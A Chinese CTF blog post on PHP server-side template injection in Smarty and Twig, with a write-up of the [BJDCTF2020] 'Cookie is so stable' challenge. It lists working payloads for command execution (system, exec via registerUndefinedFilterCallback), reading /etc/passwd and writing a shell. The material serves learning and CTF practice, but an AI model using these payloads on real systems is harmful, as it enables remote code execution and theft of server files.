[ctf web]SSTI PHP的模板注入SSTI (smarty+Twig) 以及[BJDCTF2020]Cookie is so stable
PHP的模板注入
如果是在cookie处执行,最好抓包打payload,可能有url编码的问题
smarty模板注入
控制XFF进行命令执行(这是要在前端有IP相关回显的情况)
payload:
X-Forwarded-For: {{system("ls")}}
利用
{$smarty.version} //smarty的版本号
标签
{php}
可以使用{php}{/php}
标签来执行被包裹其中的php指令
{php}phpinfo();{/php}
Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。
{literal} 标签
{literal}可以让一个模板区域的字符原样输出。 这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。
{if}标签
{if phpinfo()}{/if}
静态方法利用
通过self获取Smarty类再调用其静态方法实现文件读写
Smarty类有getStreamVariable方法可以读取一个文件并返回其内容
{self::getStreamVariable(“file:///etc/passwd”)}
利用 Smarty_Internal_Write_File 类的writeFile方法来写shell
ps.都是旧版本方法了
Twig引擎
利用payload为: msf反弹shell
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} //id是执行linux命令的地方,这个payload好像只能回显最前面的一个
补充:TWIG 全版本通用 SSTI payloads
wp
1.[BJDCTF2020]Cookie is so stable
hint处提示cookie,{{7*8}}发现有ssti,进一步测试发现是twig
开始的时候不管怎么注入都会过滤:What do you want to do?!
(之后知道是%被过滤),抓包仔细看,其实flag.php页面提交id,其实是先post username,然后将username url编码存到cookie处,最后重定向一次才有hello xx
的回显
所以抓包改第二次的cookie
payload(只能猜flag位置喽):
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
这里因为只能回显一部分(ls /
→只有 var
),我本来想重定向,但可能权限不够
尝试了twig的别的利用,可能是 | [] %
都被过滤了所以不行
[ctf web]SSTI PHP的模板注入SSTI (smarty+Twig) 以及[BJDCTF2020]Cookie is so stable相关推荐
- python模板注入_Python模板注入(SSTI)深入学习
前言 一直对模板注入似懂非懂的,打算在这篇文章中深入的研究一下模板注入以及在ctf中bypass的办法. Learning 什么是模板&模板注入 小学的时候拿别人的好词好句,套在我们自己的作文 ...
- 模板注入SSTi笔记
模板注入SSTi jinja2 Smarty模板 tornado模板 jinja2 命令执行 {% for c in [].__class__.__base__.__subclasses__() %} ...
- PHP的模板注入(Smarty模板)
Smarty是一个PHP的模板引擎,提供让程序逻辑与页面显示(HTML/CSS)代码分离的功能.对于该框架的SSTI漏洞很多文章往往只是一笔带过,讲解的重心往往在flask等框架上.本篇文章结合一道C ...
- [ctf web]基于多线程的sql注入的fuzz测试过滤参数模板
import requests import threading import math def burp(threads,url): #把测试sql关键字传入text列表with open(r&qu ...
- WEB 渗透之SSTI 模板注入
SSTI 模板注入 文章目录 SSTI 模板注入 前言 一.注入 二.什么是 SSTI 模板注入 三.产生原因 四.常见的模板引擎 五.相关属性 六.检测方法 七.攻击思路 1. 攻击方向 2. 漏洞 ...
- CTF笔记 SSTI模板注入
文章目录 前言 一.判断模板类型 二.上例题 1.[BJDCTF2020]Cookie is so stable 2.[BJDCTF2020]The mystery of ip 总结 前言 之前做ss ...
- Flask(Jinja2)服务端模板注入漏洞——vulhub/flack/ssti
一.服务端模板注入漏洞 简述: 服务器模板注入 (SSTI ) 是一种利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点.SSTI 攻击可以用来找出 ...
- SSTI模板注入总结
文章目录 一.初识SSTI 二.判断SSTI类型 三.常用类 1.__class__ 2.__bases__ 3.__subclasses__() 4.类的知识总结(转载) 5.常见过滤器(转载) 四 ...
- 常见的web攻击方式之服务器端模板注入
服务器模板注入 (SSTI ) 是一种利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点.SSTI 攻击可以用来找出 Web 应用程序的内容结构.下面 ...
最新文章
- module r8169
- 实例理解q—learning-Python强化学习
- webBrowser自动填充、抓取网页数据
- Oracle之SQL分析函数
- C# 快速高效率复制对象另一种方式 表达式树
- 前端学习(2125):watch实现
- python科学计算三剑客_1-python数据分析-数据分析介绍、数据分析三剑客之NumPy
- 【总结】字符串匹配: KMP 和 拓展KMP
- 大一计算机在线考试,大一计算机考试题(含答案).pdf
- pyCharm最新2017激活
- u-boot移植随笔:System.map文件格式
- python的ubuntu环境怎么配置_python中在ubuntu中安装虚拟环境及环境配置
- 路由 RIP 协议 和 滞空路由
- 使用nvDXT.exe把图片转换成dds图片【转】
- Windows PowerShell初体验——.NET对象支持
- bzoj 3451 Normal
- 图:婚庆现场管理系统-双屏版V3软件完美收工!!!
- 移动应用图标生成工具,一键生成所有尺寸的应用图标
- unpivot行转列 oracle,oracle-行转列点评oracle11g sql新功能pivot/unpivot
- 手机内存卡大小的计算
热门文章
- 【Win键组合键在vista中用法】
- 2020-06-06
- vue3+acro.design 遇到的问题点
- uniapp app端导出excel的探索和实现(二)
- 范冰冰李晨分手让微博一度宕机的原因分析
- rp魔兽那个服务器人最多,魔兽世界RP服务器是什么?怀旧服RP服务器有什么不同...
- scanf输入%s,%c遇到空白字符的一些思考
- ORA-00918: column ambiguously defined 未明确定义列
- 这个Excel技巧,你一定要知道!旋风图该如何制作?
- 魔兽世界服务器状态 排队人数,魔兽世界怀旧服开服 服务器拥挤 排队人数上万...